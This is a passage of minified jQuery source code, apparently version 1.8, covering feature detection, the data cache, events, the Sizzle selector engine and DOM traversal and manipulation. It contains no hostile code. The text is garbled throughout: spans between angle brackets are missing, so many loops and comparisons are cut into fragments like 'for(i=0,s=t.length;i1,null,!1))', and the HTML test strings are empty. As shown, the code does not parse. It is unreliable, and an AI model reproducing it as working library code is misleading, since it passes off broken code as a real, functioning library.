p.test}catch(d){t.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",h=function(){t.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick"),p.detachEvent("onclick",h)),u=i.createElement("input"),u.value="t",u.setAttribute("type","radio"),t.radioValue=u.value==="t",u.setAttribute("checked","checked"),u.setAttribute("name","t"),p.appendChild(u),a=i.createDocumentFragment(),a.appendChild(p.lastChild),t.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,t.appendChecked=u.checked,a.removeChild(u),a.appendChild(p);if(p.attachEvent)for(l in{submit:!0,change:!0,focusin:!0})f="on"+l,c=f in p,c||(p.setAttribute(f,"return;"),c=typeof p[f]=="function"),t[l+"Bubbles"]=c;return v(function(){var n,r,s,o,u="padding:0;margin:0;border:0;display:block;overflow:hidden;",a=i.getElementsByTagName("body")[0];if(!a)return;n=i.createElement("div"),n.style.cssText="visibility:hidden;border:0;width:0;height:0;position:static;top:0;margin-top:1px",a.insertBefore(n,a.firstChild),r=i.createElement("div"),n.appendChild(r),r.innerHTML="
t
",s=r.getElementsByTagName("td"),s[0].style.cssText="padding:0;margin:0;border:0;display:none",c=s[0].offsetHeight===0,s[0].style.display="",s[1].style.display="none",t.reliableHiddenOffsets=c&&s[0].offsetHeight===0,r.innerHTML="",r.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",t.boxSizing=r.offsetWidth===4,t.doesNotIncludeMarginInBodyOffset=a.offsetTop!==1,e.getComputedStyle&&(t.pixelPosition=(e.getComputedStyle(r,null)||{}).top!=="1%",t.boxSizingReliable=(e.getComputedStyle(r,null)||{width:"4px"}).width==="4px",o=i.createElement("div"),o.style.cssText=r.style.cssText=u,o.style.marginRight=o.style.width="0",r.style.width="1px",r.appendChild(o),t.reliableMarginRight=!parseFloat((e.getComputedStyle(o,null)||{}).marginRight)),typeof r.style.zoom!="undefined"&&(r.innerHTML="",r.style.cssText=u+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=r.offsetWidth===3,r.style.display="block",r.style.overflow="visible",r.innerHTML="
",r.firstChild.style.width="5px",t.shrinkWrapBlocks=r.offsetWidth!==3,n.style.zoom=1),a.removeChild(n),n=r=s=o=null}),a.removeChild(p),n=r=s=o=u=a=p=null,t}();var D=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;v.extend({cache:{},deletedIds:[],uuid:0,expando:"jQuery"+(v.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(e){return e=e.nodeType?v.cache[e[v.expando]]:e[v.expando],!!e&&!B(e)},data:function(e,n,r,i){if(!v.acceptData(e))return;var s,o,u=v.expando,a=typeof n=="string",f=e.nodeType,l=f?v.cache:e,c=f?e[u]:e[u]&&u;if((!c||!l[c]||!i&&!l[c].data)&&a&&r===t)return;c||(f?e[u]=c=v.deletedIds.pop()||v.guid++:c=u),l[c]||(l[c]={},f||(l[c].toJSON=v.noop));if(typeof n=="object"||typeof n=="function")i?l[c]=v.extend(l[c],n):l[c].data=v.extend(l[c].data,n);return s=l[c],i||(s.data||(s.data={}),s=s.data),r!==t&&(s[v.camelCase(n)]=r),a?(o=s[n],o==null&&(o=s[v.camelCase(n)])):o=s,o},removeData:function(e,t,n){if(!v.acceptData(e))return;var r,i,s,o=e.nodeType,u=o?v.cache:e,a=o?e[v.expando]:v.expando;if(!u[a])return;if(t){r=n?u[a]:u[a].data;if(r){v.isArray(t)||(t in r?t=[t]:(t=v.camelCase(t),t in r?t=[t]:t=t.split(" ")));for(i=0,s=t.length;i1,null,!1))},removeData:function(e){return this.each(function(){v.removeData(this,e)})}}),v.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=v._data(e,t),n&&(!r||v.isArray(n)?r=v._data(e,t,v.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=v.queue(e,t),r=n.length,i=n.shift(),s=v._queueHooks(e,t),o=function(){v.dequeue(e,t)};i==="inprogress"&&(i=n.shift(),r--),i&&(t==="fx"&&n.unshift("inprogress"),delete s.stop,i.call(e,o,s)),!r&&s&&s.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return v._data(e,n)||v._data(e,n,{empty:v.Callbacks("once memory").add(function(){v.removeData(e,t+"queue",!0),v.removeData(e,n,!0)})})}}),v.fn.extend({queue:function(e,n){var r=2;return typeof e!="string"&&(n=e,e="fx",r--),arguments.length1)},removeAttr:function(e){return this.each(function(){v.removeAttr(this,e)})},prop:function(e,t){return v.access(this,v.prop,e,t,arguments.length>1)},removeProp:function(e){return e=v.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,s,o,u;if(v.isFunction(e))return this.each(function(t){v(this).addClass(e.call(this,t,this.className))});if(e&&typeof e=="string"){t=e.split(y);for(n=0,r=this.length;n=0)r=r.replace(" "+n[s]+" "," ");i.className=e?v.trim(r):""}}}return this},toggleClass:function(e,t){var n=typeof e,r=typeof t=="boolean";return v.isFunction(e)?this.each(function(n){v(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if(n==="string"){var i,s=0,o=v(this),u=t,a=e.split(y);while(i=a[s++])u=r?u:!o.hasClass(i),o[u?"addClass":"removeClass"](i)}else if(n==="undefined"||n==="boolean")this.className&&v._data(this,"__className__",this.className),this.className=this.className||e===!1?"":v._data(this,"__className__")||""})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;n=0)return!0;return!1},val:function(e){var n,r,i,s=this[0];if(!arguments.length){if(s)return n=v.valHooks[s.type]||v.valHooks[s.nodeName.toLowerCase()],n&&"get"in n&&(r=n.get(s,"value"))!==t?r:(r=s.value,typeof r=="string"?r.replace(R,""):r==null?"":r);return}return i=v.isFunction(e),this.each(function(r){var s,o=v(this);if(this.nodeType!==1)return;i?s=e.call(this,r,o.val()):s=e,s==null?s="":typeof s=="number"?s+="":v.isArray(s)&&(s=v.map(s,function(e){return e==null?"":e+""})),n=v.valHooks[this.type]||v.valHooks[this.nodeName.toLowerCase()];if(!n||!("set"in n)||n.set(this,s,"value")===t)this.value=s})}}),v.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,s=e.type==="select-one"||i<0,o=s?null:[],u=s?i+1:r.length,a=i<0?u:s?i:0;for(;a=0}),n.length||(e.selectedIndex=-1),n}}},attrFn:{},attr:function(e,n,r,i){var s,o,u,a=e.nodeType;if(!e||a===3||a===8||a===2)return;if(i&&v.isFunction(v.fn[n]))return v(e)[n](r);if(typeof e.getAttribute=="undefined")return v.prop(e,n,r);u=a!==1||!v.isXMLDoc(e),u&&(n=n.toLowerCase(),o=v.attrHooks[n]||(X.test(n)?F:j));if(r!==t){if(r===null){v.removeAttr(e,n);return}return o&&"set"in o&&u&&(s=o.set(e,r,n))!==t?s:(e.setAttribute(n,r+""),r)}return o&&"get"in o&&u&&(s=o.get(e,n))!==null?s:(s=e.getAttribute(n),s===null?t:s)},removeAttr:function(e,t){var n,r,i,s,o=0;if(t&&e.nodeType===1){r=t.split(y);for(;o=0}})});var $=/^(?:textarea|input|select)$/i,J=/^([^\.]*|)(?:\.(.+)|)$/,K=/(?:^|\s)hover(\.\S+|)\b/,Q=/^key/,G=/^(?:mouse|contextmenu)|click/,Y=/^(?:focusinfocus|focusoutblur)$/,Z=function(e){return v.event.special.hover?e:e.replace(K,"mouseenter$1 mouseleave$1")};v.event={add:function(e,n,r,i,s){var o,u,a,f,l,c,h,p,d,m,g;if(e.nodeType===3||e.nodeType===8||!n||!r||!(o=v._data(e)))return;r.handler&&(d=r,r=d.handler,s=d.selector),r.guid||(r.guid=v.guid++),a=o.events,a||(o.events=a={}),u=o.handle,u||(o.handle=u=function(e){return typeof v=="undefined"||!!e&&v.event.triggered===e.type?t:v.event.dispatch.apply(u.elem,arguments)},u.elem=e),n=v.trim(Z(n)).split(" ");for(f=0;f=0&&(y=y.slice(0,-1),a=!0),y.indexOf(".")>=0&&(b=y.split("."),y=b.shift(),b.sort());if((!s||v.event.customEvent[y])&&!v.event.global[y])return;n=typeof n=="object"?n[v.expando]?n:new v.Event(y,n):new v.Event(y),n.type=y,n.isTrigger=!0,n.exclusive=a,n.namespace=b.join("."),n.namespace_re=n.namespace?new RegExp("(^|\\.)"+b.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,h=y.indexOf(":")<0?"on"+y:"";if(!s){u=v.cache;for(f in u)u[f].events&&u[f].events[y]&&v.event.trigger(n,r,u[f].handle.elem,!0);return}n.result=t,n.target||(n.target=s),r=r!=null?v.makeArray(r):[],r.unshift(n),p=v.event.special[y]||{};if(p.trigger&&p.trigger.apply(s,r)===!1)return;m=[[s,p.bindType||y]];if(!o&&!p.noBubble&&!v.isWindow(s)){g=p.delegateType||y,l=Y.test(g+y)?s:s.parentNode;for(c=s;l;l=l.parentNode)m.push([l,g]),c=l;c===(s.ownerDocument||i)&&m.push([c.defaultView||c.parentWindow||e,g])}for(f=0;f=0:v.find(h,this,null,[s]).length),u[h]&&f.push(c);f.length&&w.push({elem:s,matches:f})}d.length>m&&w.push({elem:this,matches:d.slice(m)});for(r=0;r0?this.on(t,null,e,n):this.trigger(t)},Q.test(t)&&(v.event.fixHooks[t]=v.event.keyHooks),G.test(t)&&(v.event.fixHooks[t]=v.event.mouseHooks)}),function(e,t){function nt(e,t,n,r){n=n||[],t=t||g;var i,s,a,f,l=t.nodeType;if(!e||typeof e!="string")return n;if(l!==1&&l!==9)return[];a=o(t);if(!a&&!r)if(i=R.exec(e))if(f=i[1]){if(l===9){s=t.getElementById(f);if(!s||!s.parentNode)return n;if(s.id===f)return n.push(s),n}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(f))&&u(t,s)&&s.id===f)return n.push(s),n}else{if(i[2])return S.apply(n,x.call(t.getElementsByTagName(e),0)),n;if((f=i[3])&&Z&&t.getElementsByClassName)return S.apply(n,x.call(t.getElementsByClassName(f),0)),n}return vt(e.replace(j,"$1"),t,n,r,a)}function rt(e){return function(t){var n=t.nodeName.toLowerCase();return n==="input"&&t.type===e}}function it(e){return function(t){var n=t.nodeName.toLowerCase();return(n==="input"||n==="button")&&t.type===e}}function st(e){return N(function(t){return t=+t,N(function(n,r){var i,s=e([],n.length,t),o=s.length;while(o--)n[i=s[o]]&&(n[i]=!(r[i]=n[i]))})})}function ot(e,t,n){if(e===t)return n;var r=e.nextSibling;while(r){if(r===t)return-1;r=r.nextSibling}return 1}function ut(e,t){var n,r,s,o,u,a,f,l=L[d][e+" "];if(l)return t?0:l.slice(0);u=e,a=[],f=i.preFilter;while(u){if(!n||(r=F.exec(u)))r&&(u=u.slice(r[0].length)||u),a.push(s=[]);n=!1;if(r=I.exec(u))s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=r[0].replace(j," ");for(o in i.filter)(r=J[o].exec(u))&&(!f[o]||(r=f[o](r)))&&(s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=o,n.matches=r);if(!n)break}return t?u.length:u?nt.error(e):L(e,a).slice(0)}function at(e,t,r){var i=t.dir,s=r&&t.dir==="parentNode",o=w++;return t.first?function(t,n,r){while(t=t[i])if(s||t.nodeType===1)return e(t,n,r)}:function(t,r,u){if(!u){var a,f=b+" "+o+" ",l=f+n;while(t=t[i])if(s||t.nodeType===1){if((a=t[d])===l)return t.sizset;if(typeof a=="string"&&a.indexOf(f)===0){if(t.sizset)return t}else{t[d]=l;if(e(t,r,u))return t.sizset=!0,t;t.sizset=!1}}}else while(t=t[i])if(s||t.nodeType===1)if(e(t,r,u))return t}}function ft(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function lt(e,t,n,r,i){var s,o=[],u=0,a=e.length,f=t!=null;for(;u-1&&(s[f]=!(o[f]=c))}}else g=lt(g===o?g.splice(d,g.length):g),i?i(null,o,g,a):S.apply(o,g)})}function ht(e){var t,n,r,s=e.length,o=i.relative[e[0].type],u=o||i.relative[" "],a=o?1:0,f=at(function(e){return e===t},u,!0),l=at(function(e){return T.call(t,e)>-1},u,!0),h=[function(e,n,r){return!o&&(r||n!==c)||((t=n).nodeType?f(e,n,r):l(e,n,r))}];for(;a1&&ft(h),a>1&&e.slice(0,a-1).join("").replace(j,"$1"),n,a0,s=e.length>0,o=function(u,a,f,l,h){var p,d,v,m=[],y=0,w="0",x=u&&[],T=h!=null,N=c,C=u||s&&i.find.TAG("*",h&&a.parentNode||a),k=b+=N==null?1:Math.E;T&&(c=a!==g&&a,n=o.el);for(;(p=C[w])!=null;w++){if(s&&p){for(d=0;v=e[d];d++)if(v(p,a,f)){l.push(p);break}T&&(b=k,n=++o.el)}r&&((p=!v&&p)&&y--,u&&x.push(p))}y+=w;if(r&&w!==y){for(d=0;v=t[d];d++)v(x,m,a,f);if(u){if(y>0)while(w--)!x[w]&&!m[w]&&(m[w]=E.call(l));m=lt(m)}S.apply(l,m),T&&!u&&m.length>0&&y+t.length>1&&nt.uniqueSort(l)}return T&&(b=k,c=N),x};return o.el=0,r?N(o):o}function dt(e,t,n){var r=0,i=t.length;for(;r2&&(f=u[0]).type==="ID"&&t.nodeType===9&&!s&&i.relative[u[1].type]){t=i.find.ID(f.matches[0].replace($,""),t,s)[0];if(!t)return n;e=e.slice(u.shift().length)}for(o=J.POS.test(e)?-1:u.length-1;o>=0;o--){f=u[o];if(i.relative[l=f.type])break;if(c=i.find[l])if(r=c(f.matches[0].replace($,""),z.test(u[0].type)&&t.parentNode||t,s)){u.splice(o,1),e=r.length&&u.join("");if(!e)return S.apply(n,x.call(r,0)),n;break}}}return a(e,h)(r,t,s,n,z.test(e)),n}function mt(){}var n,r,i,s,o,u,a,f,l,c,h=!0,p="undefined",d=("sizcache"+Math.random()).replace(".",""),m=String,g=e.document,y=g.documentElement,b=0,w=0,E=[].pop,S=[].push,x=[].slice,T=[].indexOf||function(e){var t=0,n=this.length;for(;ti.cacheLength&&delete e[t.shift()],e[n+" "]=r},e)},k=C(),L=C(),A=C(),O="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[-\\w]|[^\\x00-\\xa0])+",_=M.replace("w","w#"),D="([*^$|!~]?=)",P="\\["+O+"*("+M+")"+O+"*(?:"+D+O+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+_+")|)|)"+O+"*\\]",H=":("+M+")(?:\\((?:(['\"])((?:\\\\.|[^\\\\])*?)\\2|([^()[\\]]*|(?:(?:"+P+")|[^:]|\\\\.)*|.*))\\)|)",B=":(even|odd|eq|gt|lt|nth|first|last)(?:\\("+O+"*((?:-\\d)?\\d*)"+O+"*\\)|)(?=[^-]|$)",j=new RegExp("^"+O+"+|((?:^|[^\\\\])(?:\\\\.)*)"+O+"+$","g"),F=new RegExp("^"+O+"*,"+O+"*"),I=new RegExp("^"+O+"*([\\x20\\t\\r\\n\\f>+~])"+O+"*"),q=new RegExp(H),R=/^(?:#([\w\-]+)|(\w+)|\.([\w\-]+))$/,U=/^:not/,z=/[\x20\t\r\n\f]*[+~]/,W=/:not\($/,X=/h\d/i,V=/input|select|textarea|button/i,$=/\\(?!\\)/g,J={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),NAME:new RegExp("^\\[name=['\"]?("+M+")['\"]?\\]"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+P),PSEUDO:new RegExp("^"+H),POS:new RegExp(B,"i"),CHILD:new RegExp("^:(only|nth|first|last)-child(?:\\("+O+"*(even|odd|(([+-]|)(\\d*)n|)"+O+"*(?:([+-]|)"+O+"*(\\d+)|))"+O+"*\\)|)","i"),needsContext:new RegExp("^"+O+"*[>+~]|"+B,"i")},K=function(e){var t=g.createElement("div");try{return e(t)}catch(n){return!1}finally{t=null}},Q=K(function(e){return e.appendChild(g.createComment("")),!e.getElementsByTagName("*").length}),G=K(function(e){return e.innerHTML="",e.firstChild&&typeof e.firstChild.getAttribute!==p&&e.firstChild.getAttribute("href")==="#"}),Y=K(function(e){e.innerHTML="";var t=typeof e.lastChild.getAttribute("multiple");return t!=="boolean"&&t!=="string"}),Z=K(function(e){return e.innerHTML="",!e.getElementsByClassName||!e.getElementsByClassName("e").length?!1:(e.lastChild.className="e",e.getElementsByClassName("e").length===2)}),et=K(function(e){e.id=d+0,e.innerHTML="
",y.insertBefore(e,y.firstChild);var t=g.getElementsByName&&g.getElementsByName(d).length===2+g.getElementsByName(d+0).length;return r=!g.getElementById(d),y.removeChild(e),t});try{x.call(y.childNodes,0)[0].nodeType}catch(tt){x=function(e){var t,n=[];for(;t=this[e];e++)n.push(t);return n}}nt.matches=function(e,t){return nt(e,null,null,t)},nt.matchesSelector=function(e,t){return nt(t,null,null,[e]).length>0},s=nt.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(i===1||i===9||i===11){if(typeof e.textContent=="string")return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=s(e)}else if(i===3||i===4)return e.nodeValue}else for(;t=e[r];r++)n+=s(t);return n},o=nt.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?t.nodeName!=="HTML":!1},u=nt.contains=y.contains?function(e,t){var n=e.nodeType===9?e.documentElement:e,r=t&&t.parentNode;return e===r||!!(r&&r.nodeType===1&&n.contains&&n.contains(r))}:y.compareDocumentPosition?function(e,t){return t&&!!(e.compareDocumentPosition(t)&16)}:function(e,t){while(t=t.parentNode)if(t===e)return!0;return!1},nt.attr=function(e,t){var n,r=o(e);return r||(t=t.toLowerCase()),(n=i.attrHandle[t])?n(e):r||Y?e.getAttribute(t):(n=e.getAttributeNode(t),n?typeof e[t]=="boolean"?e[t]?t:null:n.specified?n.value:null:null)},i=nt.selectors={cacheLength:50,createPseudo:N,match:J,attrHandle:G?{}:{href:function(e){return e.getAttribute("href",2)},type:function(e){return e.getAttribute("type")}},find:{ID:r?function(e,t,n){if(typeof t.getElementById!==p&&!n){var r=t.getElementById(e);return r&&r.parentNode?[r]:[]}}:function(e,n,r){if(typeof n.getElementById!==p&&!r){var i=n.getElementById(e);return i?i.id===e||typeof i.getAttributeNode!==p&&i.getAttributeNode("id").value===e?[i]:t:[]}},TAG:Q?function(e,t){if(typeof t.getElementsByTagName!==p)return t.getElementsByTagName(e)}:function(e,t){var n=t.getElementsByTagName(e);if(e==="*"){var r,i=[],s=0;for(;r=n[s];s++)r.nodeType===1&&i.push(r);return i}return n},NAME:et&&function(e,t){if(typeof t.getElementsByName!==p)return t.getElementsByName(name)},CLASS:Z&&function(e,t,n){if(typeof t.getElementsByClassName!==p&&!n)return t.getElementsByClassName(e)}},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace($,""),e[3]=(e[4]||e[5]||"").replace($,""),e[2]==="~="&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),e[1]==="nth"?(e[2]||nt.error(e[0]),e[3]=+(e[3]?e[4]+(e[5]||1):2*(e[2]==="even"||e[2]==="odd")),e[4]=+(e[6]+e[7]||e[2]==="odd")):e[2]&&nt.error(e[0]),e},PSEUDO:function(e){var t,n;if(J.CHILD.test(e[0]))return null;if(e[3])e[2]=e[3];else if(t=e[4])q.test(t)&&(n=ut(t,!0))&&(n=t.indexOf(")",t.length-n)-t.length)&&(t=t.slice(0,n),e[0]=e[0].slice(0,n)),e[2]=t;return e.slice(0,3)}},filter:{ID:r?function(e){return e=e.replace($,""),function(t){return t.getAttribute("id")===e}}:function(e){return e=e.replace($,""),function(t){var n=typeof t.getAttributeNode!==p&&t.getAttributeNode("id");return n&&n.value===e}},TAG:function(e){return e==="*"?function(){return!0}:(e=e.replace($,"").toLowerCase(),function(t){return t.nodeName&&t.nodeName.toLowerCase()===e})},CLASS:function(e){var t=k[d][e+" "];return t||(t=new RegExp("(^|"+O+")"+e+"("+O+"|$)"))&&k(e,function(e){return t.test(e.className||typeof e.getAttribute!==p&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r,i){var s=nt.attr(r,e);return s==null?t==="!=":t?(s+="",t==="="?s===n:t==="!="?s!==n:t==="^="?n&&s.indexOf(n)===0:t==="*="?n&&s.indexOf(n)>-1:t==="$="?n&&s.substr(s.length-n.length)===n:t==="~="?(" "+s+" ").indexOf(n)>-1:t==="|="?s===n||s.substr(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r){return e==="nth"?function(e){var t,i,s=e.parentNode;if(n===1&&r===0)return!0;if(s){i=0;for(t=s.firstChild;t;t=t.nextSibling)if(t.nodeType===1){i++;if(e===t)break}}return i-=r,i===n||i%n===0&&i/n>=0}:function(t){var n=t;switch(e){case"only":case"first":while(n=n.previousSibling)if(n.nodeType===1)return!1;if(e==="first")return!0;n=t;case"last":while(n=n.nextSibling)if(n.nodeType===1)return!1;return!0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||nt.error("unsupported pseudo: "+e);return r[d]?r(t):r.length>1?(n=[e,e,"",t],i.setFilters.hasOwnProperty(e.toLowerCase())?N(function(e,n){var i,s=r(e,t),o=s.length;while(o--)i=T.call(e,s[o]),e[i]=!(n[i]=s[o])}):function(e){return r(e,0,n)}):r}},pseudos:{not:N(function(e){var t=[],n=[],r=a(e.replace(j,"$1"));return r[d]?N(function(e,t,n,i){var s,o=r(e,null,i,[]),u=e.length;while(u--)if(s=o[u])e[u]=!(t[u]=s)}):function(e,i,s){return t[0]=e,r(t,null,s,n),!n.pop()}}),has:N(function(e){return function(t){return nt(e,t).length>0}}),contains:N(function(e){return function(t){return(t.textContent||t.innerText||s(t)).indexOf(e)>-1}}),enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&!!e.checked||t==="option"&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},parent:function(e){return!i.pseudos.empty(e)},empty:function(e){var t;e=e.firstChild;while(e){if(e.nodeName>"@"||(t=e.nodeType)===3||t===4)return!1;e=e.nextSibling}return!0},header:function(e){return X.test(e.nodeName)},text:function(e){var t,n;return e.nodeName.toLowerCase()==="input"&&(t=e.type)==="text"&&((n=e.getAttribute("type"))==null||n.toLowerCase()===t)},radio:rt("radio"),checkbox:rt("checkbox"),file:rt("file"),password:rt("password"),image:rt("image"),submit:it("submit"),reset:it("reset"),button:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&e.type==="button"||t==="button"},input:function(e){return V.test(e.nodeName)},focus:function(e){var t=e.ownerDocument;return e===t.activeElement&&(!t.hasFocus||t.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},active:function(e){return e===e.ownerDocument.activeElement},first:st(function(){return[0]}),last:st(function(e,t){return[t-1]}),eq:st(function(e,t,n){return[n<0?n+t:n]}),even:st(function(e,t){for(var n=0;n=0;)e.push(r);return e}),gt:st(function(e,t,n){for(var r=n<0?n+t:n;++r",e.querySelectorAll("[selected]").length||i.push("\\["+O+"*(?:checked|disabled|ismap|multiple|readonly|selected|value)"),e.querySelectorAll(":checked").length||i.push(":checked")}),K(function(e){e.innerHTML="

",e.querySelectorAll("[test^='']").length&&i.push("[*^$]="+O+"*(?:\"\"|'')"),e.innerHTML="",e.querySelectorAll(":enabled").length||i.push(":enabled",":disabled")}),i=new RegExp(i.join("|")),vt=function(e,r,s,o,u){if(!o&&!u&&!i.test(e)){var a,f,l=!0,c=d,h=r,p=r.nodeType===9&&e;if(r.nodeType===1&&r.nodeName.toLowerCase()!=="object"){a=ut(e),(l=r.getAttribute("id"))?c=l.replace(n,"\\$&"):r.setAttribute("id",c),c="[id='"+c+"'] ",f=a.length;while(f--)a[f]=c+a[f].join("");h=z.test(e)&&r.parentNode||r,p=a.join(",")}if(p)try{return S.apply(s,x.call(h.querySelectorAll(p),0)),s}catch(v){}finally{l||r.removeAttribute("id")}}return t(e,r,s,o,u)},u&&(K(function(t){e=u.call(t,"div");try{u.call(t,"[test!='']:sizzle"),s.push("!=",H)}catch(n){}}),s=new RegExp(s.join("|")),nt.matchesSelector=function(t,n){n=n.replace(r,"='$1']");if(!o(t)&&!s.test(n)&&!i.test(n))try{var a=u.call(t,n);if(a||e||t.document&&t.document.nodeType!==11)return a}catch(f){}return nt(n,null,null,[t]).length>0})}(),i.pseudos.nth=i.pseudos.eq,i.filters=mt.prototype=i.pseudos,i.setFilters=new mt,nt.attr=v.attr,v.find=nt,v.expr=nt.selectors,v.expr[":"]=v.expr.pseudos,v.unique=nt.uniqueSort,v.text=nt.getText,v.isXMLDoc=nt.isXML,v.contains=nt.contains}(e);var nt=/Until$/,rt=/^(?:parents|prev(?:Until|All))/,it=/^.[^:#\[\.,]*$/,st=v.expr.match.needsContext,ot={children:!0,contents:!0,next:!0,prev:!0};v.fn.extend({find:function(e){var t,n,r,i,s,o,u=this;if(typeof e!="string")return v(e).filter(function(){for(t=0,n=u.length;t0)for(i=r;i=0:v.filter(e,this).length>0:this.filter(e).length>0)},closest:function(e,t){var n,r=0,i=this.length,s=[],o=st.test(e)||typeof e!="string"?v(e,t||this.context):0;for(;r-1:v.find.matchesSelector(n,e)){s.push(n);break}n=n.parentNode}}return s=s.length>1?v.unique(s):s,this.pushStack(s,"closest",e)},index:function(e){return e?typeof e=="string"?v.inArray(this[0],v(e)):v.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.prevAll().length:-1},add:function(e,t){var n=typeof e=="string"?v(e,t):v.makeArray(e&&e.nodeType?[e]:e),r=v.merge(this.get(),n);return this.pushStack(ut(n[0])||ut(r[0])?r:v.unique(r))},addBack:function(e){return this.add(e==null?this.prevObject:this.prevObject.filter(e))}}),v.fn.andSelf=v.fn.addBack,v.each({parent:function(e){var t=e.parentNode;return t&&t.nodeType!==11?t:null},parents:function(e){return v.dir(e,"parentNode")},parentsUntil:function(e,t,n){return v.dir(e,"parentNode",n)},next:function(e){return at(e,"nextSibling")},prev:function(e){return at(e,"previousSibling")},nextAll:function(e){return v.dir(e,"nextSibling")},prevAll:function(e){return v.dir(e,"previousSibling")},nextUntil:function(e,t,n){return v.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return v.dir(e,"previousSibling",n)},siblings:function(e){return v.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return v.sibling(e.firstChild)},contents:function(e){return v.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:v.merge([],e.childNodes)}},function(e,t){v.fn[e]=function(n,r){var i=v.map(this,t,n);return nt.test(e)||(r=n),r&&typeof r=="string"&&(i=v.filter(r,i)),i=this.length>1&&!ot[e]?v.unique(i):i,this.length>1&&rt.test(e)&&(i=i.reverse()),this.pushStack(i,e,l.call(arguments).join(","))}}),v.extend({filter:function(e,t,n){return n&&(e=":not("+e+")"),t.length===1?v.find.matchesSelector(t[0],e)?[t[0]]:[]:v.find.matches(e,t)},dir:function(e,n,r){var i=[],s=e[n];while(s&&s.nodeType!==9&&(r===t||s.nodeType!==1||!v(s).is(r)))s.nodeType===1&&i.push(s),s=s[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)e.nodeType===1&&e!==t&&n.push(e);return n}});var ct="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",ht=/ jQuery\d+="(?:null|\d+)"/g,pt=/^\s+/,dt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,vt=/<([\w:]+)/,mt=/]","i"),Et=/^(?:checkbox|radio)$/,St=/checked\s*(?:[^=]|=\s*.checked.)/i,xt=/\/(java|ecma)script/i,Tt=/^\s*\s*$/g,Nt={option:[1,""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]},Ct=lt(i),kt=Ct.appendChild(i.createElement("div"));Nt.optgroup=Nt.option,Nt.tbody=Nt.tfoot=Nt.colgroup=Nt.caption=Nt.thead,Nt.th=Nt.td,v.support.htmlSerialize||(Nt._default=[1,"X
","
"]),v.fn.extend({text:function(e){return v.access(this,function(e){return e===t?v.text(this):this.empty().append((this[0]&&this[0].ownerDocument||i).createTextNode(e))},null,e,arguments.length)},wrapAll:function(e){if(v.isFunction(e))return this.each(function(t){v(this).wrapAll(e.call(this,t))});if(this[0]){var t=v(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&e.firstChild.nodeType===1)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return v.isFunction(e)?this.each(function(t){v(this).wrapInner(e.call(this,t))}):this.each(function(){var t=v(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=v.isFunction(e);return this.each(function(n){v(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){v.nodeName(this,"body")||v(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)&&this.appendChild(e)})},prepend:function(){return 